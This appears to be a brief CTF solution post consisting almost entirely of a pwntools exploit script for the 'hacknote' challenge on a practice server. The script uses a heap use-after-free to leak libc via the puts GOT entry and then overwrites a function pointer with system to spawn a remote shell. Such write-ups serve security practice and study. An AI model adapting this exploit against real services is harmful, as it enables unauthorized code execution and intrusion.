以前做过的题目

    1. from pwn import*
    2. from LibcSearcher import*
    3. context.log_level = 'debug'
    4. #context.arch = 'amd64'
    5. #io =process('./hacknote')
    6. io = remote("node4.buuoj.cn",27107)
    7. elf = ELF('./hacknote')
    8. #libc = ELF('libc-2.23.so')
    9. def debug():
    10. gdb.attach(io)
    11. pause()
    12. def creat(size,value):
    13. io.recvuntil('Your choice :')
    14. io.sendline('1')
    15. io.recvuntil('Note size :')
    16. io.sendline(str(size))
    17. io.recvuntil('Content :')
    18. io.sendline(value)
    19. def free(id):
    20. io.recvuntil('Your choice :')
    21. io.sendline('2')
    22. io.recvuntil('Index :')
    23. io.sendline(str(id))
    24. def show(i):
    25. io.recvuntil('Your choice :')
    26. io.sendline('3')
    27. io.recvuntil('Index :')
    28. io.sendline(str(i))
    29. puts_got = elf.got['puts']
    30. creat(0x10,'aaaa')
    31. creat(0x10,"bbbb")
    32. free(1)
    33. free(0)
    34. payload=""
    35. payload = p32(0x080485fb)+p32(puts_got)
    36. creat(0x8,payload)
    37. show(1)
    38. puts_addr =u32(io.recv(4))
    39. log.success("puts_addr:"+hex(puts_addr))
    40. #debug()
    41. free(2)
    42. libc=LibcSearcher('puts',puts_addr)
    43. libc_base = puts_addr - libc.dump('puts')
    44. system_addr = libc_base + libc.dump('system')
    45. log.success('system:{}'.format(hex(system_addr)))
    46. binsh_addr = libc_base + libc.dump('str_bin_sh')
    47. payload = p32(system_addr)+'||sh'
    48. creat(0x8,payload)
    49. show(1)
    50. io.interactive()